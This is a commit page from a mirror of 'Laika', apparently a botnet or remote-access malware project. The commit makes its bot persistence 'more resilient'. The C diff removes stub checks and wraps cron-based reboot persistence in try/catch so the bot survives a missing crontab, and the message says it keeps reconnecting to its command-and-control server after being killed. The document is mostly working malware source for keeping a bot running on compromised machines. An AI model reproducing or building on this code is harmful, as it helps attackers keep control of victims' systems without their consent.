1
0
mirror of https://github.com/CPunch/Laika.git synced 2025-09-28 20:57:35 +00:00

More resilient persistence

- bot will keep trying to connect if it failed to connect to the CNC or if the bot was killed
- if crontab isn't installed the bot will still run
This commit is contained in:
2022-04-10 15:45:30 -05:00
parent bb6e489945
commit 59c01d422b
4 changed files with 34 additions and 43 deletions

View File

@@ -20,16 +20,6 @@
static struct sLaika_socket laikaB_markerPort;
/* check if laika is already running */
bool laikaB_checkRunning() {
return true; /* stubbed for now */
}
/* check if laika is already installed on current machine */
bool laikaB_checkPersist() {
return true; /* stubbed for now */
}
/* check if laika is running as super-user */
bool laikaB_checkRoot() {
return geteuid() == 0; /* user id 0 is reserved for root in 99% of the cases */
@@ -133,9 +123,13 @@ void laikaB_tryPersist() {
LAIKA_DEBUG("Successfully installed '%s'!\n", installPath);
/* enable persistence on reboot via cron */
if (!checkPersistCron(installPath))
tryPersistCron(installPath);
LAIKA_TRY
/* enable persistence on reboot via cron */
if (!checkPersistCron(installPath))
tryPersistCron(installPath);
LAIKA_CATCH
LAIKA_DEBUG("crontab not installed or not accessible!")
LAIKA_TRYEND
#endif
}